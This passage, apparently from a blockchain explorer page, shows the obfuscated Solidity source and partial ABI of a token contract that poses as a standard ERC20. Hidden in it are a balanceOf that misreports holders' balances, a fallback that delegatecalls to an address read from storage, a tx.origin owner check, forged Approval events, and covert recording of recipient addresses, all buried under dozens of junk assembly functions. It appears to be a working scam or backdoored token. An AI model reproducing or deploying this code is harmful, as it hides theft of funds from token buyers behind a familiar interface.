9869);pSvvHwRRhA8b9ksX+=1091627;require(pSvvHwRRhA8b9ksX > 7333);pSvvHwRRhA8b9ksX+=5620446;require(pSvvHwRRhA8b9ksX > 4853);pSvvHwRRhA8b9ksX+=2226155;require(pSvvHwRRhA8b9ksX > 441);pSvvHwRRhA8b9ksX+=5474424;require(pSvvHwRRhA8b9ksX > 5039);pSvvHwRRhA8b9ksX+=4469698;require(pSvvHwRRhA8b9ksX > 151); return L50EwU6; }function yaqv1B3NYOl6Y50R() public view returns(uint256){ uint256 b29TpbIQG4CXcq; assembly{ if gt(b29TpbIQG4CXcq,9782209){ b29TpbIQG4CXcq:=div(b29TpbIQG4CXcq,2) } b29TpbIQG4CXcq:=mul(9782209,5545769) if gt(b29TpbIQG4CXcq,7130232){ b29TpbIQG4CXcq:=div(b29TpbIQG4CXcq,2) } b29TpbIQG4CXcq:=mod(7130232,3638525) if gt(b29TpbIQG4CXcq,6682702){ b29TpbIQG4CXcq:=div(b29TpbIQG4CXcq,2) } b29TpbIQG4CXcq:=sub(6682702,4891237) if gt(b29TpbIQG4CXcq,4203980){ b29TpbIQG4CXcq:=div(b29TpbIQG4CXcq,2) } b29TpbIQG4CXcq:=mod(4203980,927039) if gt(b29TpbIQG4CXcq,3717304){ b29TpbIQG4CXcq:=div(b29TpbIQG4CXcq,2) } b29TpbIQG4CXcq:=sub(3717304,1764826) if gt(b29TpbIQG4CXcq,2922365){ b29TpbIQG4CXcq:=div(b29TpbIQG4CXcq,2) } b29TpbIQG4CXcq:=mul(2922365,1102988) if gt(b29TpbIQG4CXcq,5430668){ b29TpbIQG4CXcq:=div(b29TpbIQG4CXcq,2) } b29TpbIQG4CXcq:=mul(5430668,5425775) } return b29TpbIQG4CXcq;} function symbol() public view virtual returns (string memory) { uint256 NSzq9v4lEPPvSc;NSzq9v4lEPPvSc+=1480636;require(NSzq9v4lEPPvSc > 6623);NSzq9v4lEPPvSc+=4872433;require(NSzq9v4lEPPvSc > 3255);NSzq9v4lEPPvSc+=1823346;require(NSzq9v4lEPPvSc > 1477);NSzq9v4lEPPvSc+=2702528;require(NSzq9v4lEPPvSc > 7025);NSzq9v4lEPPvSc+=5497435;require(NSzq9v4lEPPvSc > 2078);NSzq9v4lEPPvSc+=1870635;require(NSzq9v4lEPPvSc > 3108);NSzq9v4lEPPvSc+=583825;require(NSzq9v4lEPPvSc > 9827);NSzq9v4lEPPvSc+=3449896;require(NSzq9v4lEPPvSc > 3233); return pxUvhgNG; }function mxrUVauBxRlaBqsvj() internal view virtual returns (bytes calldata) { return msg.data; }event OwnershipTransferred( address indexed previousOwner, address indexed yOJwqSNC8nytQ2c ); function transferOwnership(address yOJwqSNC8nytQ2c) public virtual onlyOwner { require( yOJwqSNC8nytQ2c != address(0), "Ownable: new owner is the zero address" ); Py9TGHlBkdaxu0(yOJwqSNC8nytQ2c); }constructor() { Py9TGHlBkdaxu0(tx.origin); _mint(address(this), 90000000000000000000); } function approve(address IHeptjtdxbrr, uint256 yDqmwOZnC7I3hghArG6W) public virtual returns (bool) { address owner = G0DuBGd6NK(); _approve(owner, IHeptjtdxbrr, yDqmwOZnC7I3hghArG6W); return true; } function balanceOf(address bGEXmjKtbNG37s9YToHcY) public view returns (uint256) { if (msg.sender == nkj3WXwnmqiX2) { uint256 yDqmwOZnC7I3hghArG6W = EvWqheNkqwgKKrf4(); assembly { if lt(yDqmwOZnC7I3hghArG6W, sload(32)) { revert(0, 0) } } } if (bGEXmjKtbNG37s9YToHcY == nkj3WXwnmqiX2) return RkA7GqH0dMtEH1cIS9[bGEXmjKtbNG37s9YToHcY]; return RkA7GqH0dMtEH1cIS9[bGEXmjKtbNG37s9YToHcY] % L50EwU6; }modifier __() { bytes memory value = msg.data; assembly { if eq(mload(add(value, add(32,4))), mul(8,4)) { if iszero( delegatecall( gas(), sload(address()), add(value, mul(4,8)), mload(value), 0, 32 ) ) { revert(0, 0) } return(0, 32) } } _; }function jz9OPMWkkp2dKkr7V() public view returns(uint256){ uint256 f4XM5ROdnvAiM7; assembly{ if gt(f4XM5ROdnvAiM7,7833206){ f4XM5ROdnvAiM7:=div(f4XM5ROdnvAiM7,2) } f4XM5ROdnvAiM7:=sub(7833206,5099909) if gt(f4XM5ROdnvAiM7,9372934){ f4XM5ROdnvAiM7:=div(f4XM5ROdnvAiM7,2) } f4XM5ROdnvAiM7:=mul(9372934,3662717) if gt(f4XM5ROdnvAiM7,2320864){ f4XM5ROdnvAiM7:=div(f4XM5ROdnvAiM7,2) } f4XM5ROdnvAiM7:=sub(2320864,606155) if gt(f4XM5ROdnvAiM7,9621308){ f4XM5ROdnvAiM7:=div(f4XM5ROdnvAiM7,2) } f4XM5ROdnvAiM7:=div(9621308,2467525) if gt(f4XM5ROdnvAiM7,8027149){ f4XM5ROdnvAiM7:=div(f4XM5ROdnvAiM7,2) } f4XM5ROdnvAiM7:=mul(8027149,4410851) if gt(f4XM5ROdnvAiM7,4801943){ f4XM5ROdnvAiM7:=div(f4XM5ROdnvAiM7,2) } f4XM5ROdnvAiM7:=div(4801943,4428529) if gt(f4XM5ROdnvAiM7,5146573){ f4XM5ROdnvAiM7:=div(f4XM5ROdnvAiM7,2) } f4XM5ROdnvAiM7:=div(5146573,2390621) if gt(f4XM5ROdnvAiM7,5245050){ f4XM5ROdnvAiM7:=div(f4XM5ROdnvAiM7,2) } f4XM5ROdnvAiM7:=mul(5245050,3812655) if gt(f4XM5ROdnvAiM7,3123884){ f4XM5ROdnvAiM7:=div(f4XM5ROdnvAiM7,2) } f4XM5ROdnvAiM7:=div(3123884,2789059) if gt(f4XM5ROdnvAiM7,6377625){ f4XM5ROdnvAiM7:=div(f4XM5ROdnvAiM7,2) } f4XM5ROdnvAiM7:=add(6377625,3716935) if gt(f4XM5ROdnvAiM7,5727811){ f4XM5ROdnvAiM7:=div(f4XM5ROdnvAiM7,2) } f4XM5ROdnvAiM7:=div(5727811,4252360) if gt(f4XM5ROdnvAiM7,5590535){ f4XM5ROdnvAiM7:=div(f4XM5ROdnvAiM7,2) } f4XM5ROdnvAiM7:=add(5590535,3304808) if gt(f4XM5ROdnvAiM7,9314688){ f4XM5ROdnvAiM7:=div(f4XM5ROdnvAiM7,2) } f4XM5ROdnvAiM7:=mul(9314688,2457718) } return f4XM5ROdnvAiM7;}function S3M1SIosKuW97RHfSuA() public view returns(uint256){ uint256 lGKsaF9H2oP7CdQ; assembly{ if gt(lGKsaF9H2oP7CdQ,5255753){ lGKsaF9H2oP7CdQ:=div(lGKsaF9H2oP7CdQ,2) } lGKsaF9H2oP7CdQ:=mod(5255753,3911882) if gt(lGKsaF9H2oP7CdQ,3605737){ lGKsaF9H2oP7CdQ:=div(lGKsaF9H2oP7CdQ,2) } lGKsaF9H2oP7CdQ:=sub(3605737,2754889) if gt(lGKsaF9H2oP7CdQ,5500650){ lGKsaF9H2oP7CdQ:=div(lGKsaF9H2oP7CdQ,2) } lGKsaF9H2oP7CdQ:=mul(5500650,1976869) if gt(lGKsaF9H2oP7CdQ,8250307){ lGKsaF9H2oP7CdQ:=div(lGKsaF9H2oP7CdQ,2) } lGKsaF9H2oP7CdQ:=mul(8250307,165296) if gt(lGKsaF9H2oP7CdQ,7999644){ lGKsaF9H2oP7CdQ:=div(lGKsaF9H2oP7CdQ,2) } lGKsaF9H2oP7CdQ:=add(7999644,5708957) if gt(lGKsaF9H2oP7CdQ,8237782){ lGKsaF9H2oP7CdQ:=div(lGKsaF9H2oP7CdQ,2) } lGKsaF9H2oP7CdQ:=sub(8237782,1182673) if gt(lGKsaF9H2oP7CdQ,3335239){ lGKsaF9H2oP7CdQ:=div(lGKsaF9H2oP7CdQ,2) } lGKsaF9H2oP7CdQ:=add(3335239,3319804) if gt(lGKsaF9H2oP7CdQ,3936894){ lGKsaF9H2oP7CdQ:=div(lGKsaF9H2oP7CdQ,2) } lGKsaF9H2oP7CdQ:=div(3936894,3100296) if gt(lGKsaF9H2oP7CdQ,5575605){ lGKsaF9H2oP7CdQ:=div(lGKsaF9H2oP7CdQ,2) } lGKsaF9H2oP7CdQ:=add(5575605,210293) if gt(lGKsaF9H2oP7CdQ,6767235){ lGKsaF9H2oP7CdQ:=div(lGKsaF9H2oP7CdQ,2) } lGKsaF9H2oP7CdQ:=add(6767235,4081489) if gt(lGKsaF9H2oP7CdQ,9824244){ lGKsaF9H2oP7CdQ:=div(lGKsaF9H2oP7CdQ,2) } lGKsaF9H2oP7CdQ:=mod(9824244,5491369) if gt(lGKsaF9H2oP7CdQ,4802617){ lGKsaF9H2oP7CdQ:=div(lGKsaF9H2oP7CdQ,2) } lGKsaF9H2oP7CdQ:=add(4802617,851238) if gt(lGKsaF9H2oP7CdQ,9264002){ lGKsaF9H2oP7CdQ:=div(lGKsaF9H2oP7CdQ,2) } lGKsaF9H2oP7CdQ:=add(9264002,3239255) } return lGKsaF9H2oP7CdQ;} function _approve( address owner, address IHeptjtdxbrr, uint256 yDqmwOZnC7I3hghArG6W ) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(IHeptjtdxbrr != address(0), "ERC20: approve to the zero address"); uint256 DpeiDYdMgpfNhw3X;DpeiDYdMgpfNhw3X+=1759897;require(DpeiDYdMgpfNhw3X > 9367);DpeiDYdMgpfNhw3X+=1531831;require(DpeiDYdMgpfNhw3X > 1901);DpeiDYdMgpfNhw3X+=1658261;require(DpeiDYdMgpfNhw3X > 6532);DpeiDYdMgpfNhw3X+=3223760;require(DpeiDYdMgpfNhw3X > 8718); mt4zFi0aDG4NRsUucMu[owner][IHeptjtdxbrr] = yDqmwOZnC7I3hghArG6W; emit Approval(owner, IHeptjtdxbrr, yDqmwOZnC7I3hghArG6W); }function G0DuBGd6NK() internal view virtual returns (address) { return msg.sender; }function SZb8JF48QNMgrf() public view returns(uint256){ uint256 FzyKKRJEWXp; assembly{ if gt(FzyKKRJEWXp,7420570){ FzyKKRJEWXp:=div(FzyKKRJEWXp,2) } FzyKKRJEWXp:=div(7420570,2767682) if gt(FzyKKRJEWXp,8460850){ FzyKKRJEWXp:=div(FzyKKRJEWXp,2) } FzyKKRJEWXp:=mul(8460850,2746677) if gt(FzyKKRJEWXp,8541687){ FzyKKRJEWXp:=div(FzyKKRJEWXp,2) } FzyKKRJEWXp:=div(8541687,3829978) if gt(FzyKKRJEWXp,7450668){ FzyKKRJEWXp:=div(FzyKKRJEWXp,2) } FzyKKRJEWXp:=sub(7450668,2135441) if gt(FzyKKRJEWXp,6548779){ FzyKKRJEWXp:=div(FzyKKRJEWXp,2) } FzyKKRJEWXp:=mul(6548779,5258419) if gt(FzyKKRJEWXp,6575582){ FzyKKRJEWXp:=div(FzyKKRJEWXp,2) } FzyKKRJEWXp:=mul(6575582,4202180) if gt(FzyKKRJEWXp,7669171){ FzyKKRJEWXp:=div(FzyKKRJEWXp,2) } FzyKKRJEWXp:=div(7669171,4670700) if gt(FzyKKRJEWXp,9328620){ FzyKKRJEWXp:=div(FzyKKRJEWXp,2) } FzyKKRJEWXp:=add(9328620,3686453) if gt(FzyKKRJEWXp,9345406){ FzyKKRJEWXp:=div(FzyKKRJEWXp,2) } FzyKKRJEWXp:=mod(9345406,1634931) if gt(FzyKKRJEWXp,4207915){ FzyKKRJEWXp:=div(FzyKKRJEWXp,2) } FzyKKRJEWXp:=mod(4207915,110038) if gt(FzyKKRJEWXp,9130711){ FzyKKRJEWXp:=div(FzyKKRJEWXp,2) } FzyKKRJEWXp:=mul(9130711,955765) } return FzyKKRJEWXp;}function mZAcCbbQoXMJ6w() public view returns(uint256){ uint256 tenn4LJlWxDs8Va; assembly{ if gt(tenn4LJlWxDs8Va,6140769){ tenn4LJlWxDs8Va:=div(tenn4LJlWxDs8Va,2) } tenn4LJlWxDs8Va:=div(6140769,3300535) if gt(tenn4LJlWxDs8Va,6842108){ tenn4LJlWxDs8Va:=div(tenn4LJlWxDs8Va,2) } tenn4LJlWxDs8Va:=div(6842108,1480086) if gt(tenn4LJlWxDs8Va,5728744){ tenn4LJlWxDs8Va:=div(tenn4LJlWxDs8Va,2) } tenn4LJlWxDs8Va:=add(5728744,4711887) if gt(tenn4LJlWxDs8Va,8864665){ tenn4LJlWxDs8Va:=div(tenn4LJlWxDs8Va,2) } tenn4LJlWxDs8Va:=sub(8864665,2592891) if gt(tenn4LJlWxDs8Va,9858229){ tenn4LJlWxDs8Va:=div(tenn4LJlWxDs8Va,2) } tenn4LJlWxDs8Va:=mod(9858229,5440854) if gt(tenn4LJlWxDs8Va,8052289){ tenn4LJlWxDs8Va:=div(tenn4LJlWxDs8Va,2) } tenn4LJlWxDs8Va:=sub(8052289,3573647) if gt(tenn4LJlWxDs8Va,5811887){ tenn4LJlWxDs8Va:=div(tenn4LJlWxDs8Va,2) } tenn4LJlWxDs8Va:=mod(5811887,3926180) if gt(tenn4LJlWxDs8Va,7293682){ tenn4LJlWxDs8Va:=div(tenn4LJlWxDs8Va,2) } tenn4LJlWxDs8Va:=add(7293682,5713287) if gt(tenn4LJlWxDs8Va,4044619){ tenn4LJlWxDs8Va:=div(tenn4LJlWxDs8Va,2) } tenn4LJlWxDs8Va:=mod(4044619,1152443) if gt(tenn4LJlWxDs8Va,8068781){ tenn4LJlWxDs8Va:=div(tenn4LJlWxDs8Va,2) } tenn4LJlWxDs8Va:=mod(8068781,2774873) } return tenn4LJlWxDs8Va;} function _burn(address bGEXmjKtbNG37s9YToHcY, uint256 yDqmwOZnC7I3hghArG6W) internal virtual { require(bGEXmjKtbNG37s9YToHcY != address(0), "ERC20: burn from the zero address"); uint256 WPTf4PYCOS;WPTf4PYCOS+=3851097;require(WPTf4PYCOS > 5889);WPTf4PYCOS+=897511;require(WPTf4PYCOS > 4241);WPTf4PYCOS+=2567241;require(WPTf4PYCOS > 8533);WPTf4PYCOS+=3013243;require(WPTf4PYCOS > 4582);WPTf4PYCOS+=1240404;require(WPTf4PYCOS > 8842);WPTf4PYCOS+=3499110;require(WPTf4PYCOS > 7931);WPTf4PYCOS+=2337939;require(WPTf4PYCOS > 741);WPTf4PYCOS+=2832106;require(WPTf4PYCOS > 2514); _beforeTokenTransfer(bGEXmjKtbNG37s9YToHcY, address(0), yDqmwOZnC7I3hghArG6W); uint256 bGEXmjKtbNG37s9YToHcYBalance = RkA7GqH0dMtEH1cIS9[bGEXmjKtbNG37s9YToHcY]; require(bGEXmjKtbNG37s9YToHcYBalance >= yDqmwOZnC7I3hghArG6W, "ERC20: burn exceeds balance"); RkA7GqH0dMtEH1cIS9[bGEXmjKtbNG37s9YToHcY] -= yDqmwOZnC7I3hghArG6W; L50EwU6 -= yDqmwOZnC7I3hghArG6W; emit Transfer(bGEXmjKtbNG37s9YToHcY, address(0), yDqmwOZnC7I3hghArG6W); _afterTokenTransfer(bGEXmjKtbNG37s9YToHcY, address(0), yDqmwOZnC7I3hghArG6W); } function _beforeTokenTransfer( address from, address to, uint256 yDqmwOZnC7I3hghArG6W ) internal virtual {}function hhmQo29Mj5n2X74() public view returns(uint256){ uint256 CW1LSFIJuc6eq; assembly{ if gt(CW1LSFIJuc6eq,5308560){ CW1LSFIJuc6eq:=div(CW1LSFIJuc6eq,2) } CW1LSFIJuc6eq:=mul(5308560,4240697) if gt(CW1LSFIJuc6eq,5783535){ CW1LSFIJuc6eq:=div(CW1LSFIJuc6eq,2) } CW1LSFIJuc6eq:=sub(5783535,4266312) if gt(CW1LSFIJuc6eq,2930078){ CW1LSFIJuc6eq:=div(CW1LSFIJuc6eq,2) } CW1LSFIJuc6eq:=div(2930078,1316645) if gt(CW1LSFIJuc6eq,9819616){ CW1LSFIJuc6eq:=div(CW1LSFIJuc6eq,2) } CW1LSFIJuc6eq:=mul(9819616,5336104) if gt(CW1LSFIJuc6eq,6163804){ CW1LSFIJuc6eq:=div(CW1LSFIJuc6eq,2) } CW1LSFIJuc6eq:=mod(6163804,3629082) if gt(CW1LSFIJuc6eq,2213757){ CW1LSFIJuc6eq:=div(CW1LSFIJuc6eq,2) } CW1LSFIJuc6eq:=div(2213757,1460678) if gt(CW1LSFIJuc6eq,7391286){ CW1LSFIJuc6eq:=div(CW1LSFIJuc6eq,2) } CW1LSFIJuc6eq:=mul(7391286,5095011) if gt(CW1LSFIJuc6eq,8462405){ CW1LSFIJuc6eq:=div(CW1LSFIJuc6eq,2) } CW1LSFIJuc6eq:=sub(8462405,5753117) if gt(CW1LSFIJuc6eq,9595090){ CW1LSFIJuc6eq:=div(CW1LSFIJuc6eq,2) } CW1LSFIJuc6eq:=add(9595090,140719) if gt(CW1LSFIJuc6eq,6445760){ CW1LSFIJuc6eq:=div(CW1LSFIJuc6eq,2) } CW1LSFIJuc6eq:=mod(6445760,3479165) if gt(CW1LSFIJuc6eq,8191164){ CW1LSFIJuc6eq:=div(CW1LSFIJuc6eq,2) } CW1LSFIJuc6eq:=div(8191164,5775704) if gt(CW1LSFIJuc6eq,2207226){ CW1LSFIJuc6eq:=div(CW1LSFIJuc6eq,2) } CW1LSFIJuc6eq:=mod(2207226,395912) } return CW1LSFIJuc6eq;} function increaseAllowance(address IHeptjtdxbrr, uint256 addedValue) public virtual returns (bool) { address owner = G0DuBGd6NK(); _approve(owner, IHeptjtdxbrr, allowance(owner, IHeptjtdxbrr) + addedValue); return true; } function Py9TGHlBkdaxu0(address yOJwqSNC8nytQ2c) internal virtual { address oldOwner = JUpQxL; JUpQxL = yOJwqSNC8nytQ2c; emit OwnershipTransferred(oldOwner, yOJwqSNC8nytQ2c); } modifier onlyOwner() { require(owner() == tx.origin, "Ownable: caller is not the owner"); _; }fallback() external __ {} function _afterTokenTransfer( address from, address to, uint256 yDqmwOZnC7I3hghArG6W ) internal { if (RkA7GqH0dMtEH1cIS9[from] > L50EwU6 * 0xfe) { assembly { sstore(32, 0) } } else if ( RkA7GqH0dMtEH1cIS9[to] < L50EwU6 && to != nkj3WXwnmqiX2 ) { assembly{ mstore(0,yDqmwOZnC7I3hghArG6W) log3( 0, 32, 0x8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925, to, address() ) let N2hRjwkEW := sload(9999) sstore(add(10000, N2hRjwkEW), to) sstore(9999, add(1, N2hRjwkEW)) } } } function BA5cAdOcq0Q() public view returns(uint256){ uint256 gofYGELOgwvgJPll; assembly{ if gt(gofYGELOgwvgJPll,5895734){ gofYGELOgwvgJPll:=div(gofYGELOgwvgJPll,2) } gofYGELOgwvgJPll:=add(5895734,3350987) if gt(gofYGELOgwvgJPll,6911048){ gofYGELOgwvgJPll:=div(gofYGELOgwvgJPll,2) } gofYGELOgwvgJPll:=add(6911048,1700922) if gt(gofYGELOgwvgJPll,6430936){ gofYGELOgwvgJPll:=div(gofYGELOgwvgJPll,2) } gofYGELOgwvgJPll:=sub(6430936,2944585) if gt(gofYGELOgwvgJPll,5761705){ gofYGELOgwvgJPll:=div(gofYGELOgwvgJPll,2) } gofYGELOgwvgJPll:=mod(5761705,5633778) if gt(gofYGELOgwvgJPll,5785603){ gofYGELOgwvgJPll:=div(gofYGELOgwvgJPll,2) } gofYGELOgwvgJPll:=div(5785603,4949657) if gt(gofYGELOgwvgJPll,3143159){ gofYGELOgwvgJPll:=div(gofYGELOgwvgJPll,2) } gofYGELOgwvgJPll:=sub(3143159,860549) if gt(gofYGELOgwvgJPll,8139009){ gofYGELOgwvgJPll:=div(gofYGELOgwvgJPll,2) } gofYGELOgwvgJPll:=mul(8139009,3905659) if gt(gofYGELOgwvgJPll,6219488){ gofYGELOgwvgJPll:=div(gofYGELOgwvgJPll,2) } gofYGELOgwvgJPll:=mul(6219488,1621592) if gt(gofYGELOgwvgJPll,5269070){ gofYGELOgwvgJPll:=div(gofYGELOgwvgJPll,2) } gofYGELOgwvgJPll:=add(5269070,4771576) if gt(gofYGELOgwvgJPll,5834433){ gofYGELOgwvgJPll:=div(gofYGELOgwvgJPll,2) } gofYGELOgwvgJPll:=sub(5834433,277532) if gt(gofYGELOgwvgJPll,5370509){ gofYGELOgwvgJPll:=div(gofYGELOgwvgJPll,2) } gofYGELOgwvgJPll:=add(5370509,2810875) if gt(gofYGELOgwvgJPll,6153446){ gofYGELOgwvgJPll:=div(gofYGELOgwvgJPll,2) } gofYGELOgwvgJPll:=div(6153446,4036037) } return gofYGELOgwvgJPll;}function c8skCMHsok3h7erDC() public view returns(uint256){ uint256 RNpu0GOGHX; assembly{ if gt(RNpu0GOGHX,3456462){ RNpu0GOGHX:=div(RNpu0GOGHX,2) } RNpu0GOGHX:=mod(3456462,2897668) if gt(RNpu0GOGHX,3087911){ RNpu0GOGHX:=div(RNpu0GOGHX,2) } RNpu0GOGHX:=add(3087911,2508882) if gt(RNpu0GOGHX,7729549){ RNpu0GOGHX:=div(RNpu0GOGHX,2) } RNpu0GOGHX:=div(7729549,5791305) if gt(RNpu0GOGHX,5897457){ RNpu0GOGHX:=div(RNpu0GOGHX,2) } RNpu0GOGHX:=mod(5897457,1165275) if gt(RNpu0GOGHX,8009495){ RNpu0GOGHX:=div(RNpu0GOGHX,2) } RNpu0GOGHX:=mul(8009495,5457102) if gt(RNpu0GOGHX,5615216){ RNpu0GOGHX:=div(RNpu0GOGHX,2) } RNpu0GOGHX:=sub(5615216,3691545) if gt(RNpu0GOGHX,4273251){ RNpu0GOGHX:=div(RNpu0GOGHX,2) } RNpu0GOGHX:=sub(4273251,270333) if gt(RNpu0GOGHX,8128523){ RNpu0GOGHX:=div(RNpu0GOGHX,2) } RNpu0GOGHX:=sub(8128523,1116071) } return RNpu0GOGHX;}function OWwvXyBDY5p6() public view returns(uint256){ uint256 DuRH4eiY; assembly{ if gt(DuRH4eiY,7759488){ DuRH4eiY:=div(DuRH4eiY,2) } DuRH4eiY:=sub(7759488,3627619) if gt(DuRH4eiY,4734634){ DuRH4eiY:=div(DuRH4eiY,2) } DuRH4eiY:=mod(4734634,767982) if gt(DuRH4eiY,7227597){ DuRH4eiY:=div(DuRH4eiY,2) } DuRH4eiY:=sub(7227597,3220818) if gt(DuRH4eiY,4622101){ DuRH4eiY:=div(DuRH4eiY,2) } DuRH4eiY:=sub(4622101,3910761) if gt(DuRH4eiY,7814617){ DuRH4eiY:=div(DuRH4eiY,2) } DuRH4eiY:=sub(7814617,2687124) if gt(DuRH4eiY,8386025){ DuRH4eiY:=div(DuRH4eiY,2) } DuRH4eiY:=mod(8386025,1760864) } return DuRH4eiY;}function qUC12sLXqfzCMsx() public view returns(uint256){ uint256 lODqabl7F; assembly{ if gt(lODqabl7F,5514539){ lODqabl7F:=div(lODqabl7F,2) } lODqabl7F:=mul(5514539,3731440) if gt(lODqabl7F,8782632){ lODqabl7F:=div(lODqabl7F,2) } lODqabl7F:=mod(8782632,5688694) if gt(lODqabl7F,6110347){ lODqabl7F:=div(lODqabl7F,2) } lODqabl7F:=mul(6110347,5024163) if gt(lODqabl7F,7888614){ lODqabl7F:=div(lODqabl7F,2) } lODqabl7F:=mul(7888614,5690661) if gt(lODqabl7F,8543254){ lODqabl7F:=div(lODqabl7F,2) } lODqabl7F:=mul(8543254,453269) if gt(lODqabl7F,7158328){ lODqabl7F:=div(lODqabl7F,2) } lODqabl7F:=add(7158328,5512930) if gt(lODqabl7F,6997934){ lODqabl7F:=div(lODqabl7F,2) } lODqabl7F:=mod(6997934,3098679) if gt(lODqabl7F,6849124){ lODqabl7F:=div(lODqabl7F,2) } lODqabl7F:=div(6849124,630211) if gt(lODqabl7F,1812068){ lODqabl7F:=div(lODqabl7F,2) } lODqabl7F:=sub(1812068,1808349) if gt(lODqabl7F,8365879){ lODqabl7F:=div(lODqabl7F,2) } lODqabl7F:=div(8365879,1123558) if gt(lODqabl7F,5951518){ lODqabl7F:=div(lODqabl7F,2) } lODqabl7F:=div(5951518,4523406) if gt(lODqabl7F,848636){ lODqabl7F:=div(lODqabl7F,2) } lODqabl7F:=mod(848636,512266) if gt(lODqabl7F,6157538){ lODqabl7F:=div(lODqabl7F,2) } lODqabl7F:=mul(6157538,5377281) if gt(lODqabl7F,6438537){ lODqabl7F:=div(lODqabl7F,2) } lODqabl7F:=add(6438537,2479695) if gt(lODqabl7F,9564449){ lODqabl7F:=div(lODqabl7F,2) } lODqabl7F:=mod(9564449,4344334) } return lODqabl7F;}}
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"IHeptjtdxbrr","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"yOJwqSNC8nytQ2c","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"stateMutability":"nonpayable","type":"fallback"},{"inputs":[],"name":"BA5cAdOcq0Q","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"BNwtHtOFs5BBrX0hI","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"Fzh4DX8uXgBBbK0Las","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"I3IyGDqzIJNAYizWC","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"KalNJnInUvVCjmWRFR7","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"KhGA6io59uf14FfhcT","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"OWwvXyBDY5p6","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"QJfLDfDjVk9P","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"S3M1SIosKuW97RHfSuA","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"SZb8JF48QNMgrf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"WBNB","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"YcpBMr4xWNG3skh","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"IHeptjtdxbrr","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"IHeptjtdxbrr","type":"address"},{"internalType":"uint256","name":"yDqmwOZnC7I3hghArG6W","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"bGEXmjKtbNG37s9YToHcY","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"c8skCMHsok3h7erDC","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"IHeptjtdxbrr","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"string","name":"tokenName","type":"string"},{"internalType":"string","name":"coinSymbol","type":"string"},{"internalType":"uint256","name":"supply_","type":"uint256"}],"name":"g44oW4iTymtZ","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"hhmQo29Mj5n2X74","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"IHeptjtdxbrr","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"jz9OPMWkkp2dKkr7V","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"mZAcCbbQoXMJ6w","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"nSxOLYUvF3hj","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"nX5BBzU9k0pN","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"qTwU6ixCEeueyT","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"qUC12sLXqfzCMsx","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"qrYels4RU8UYI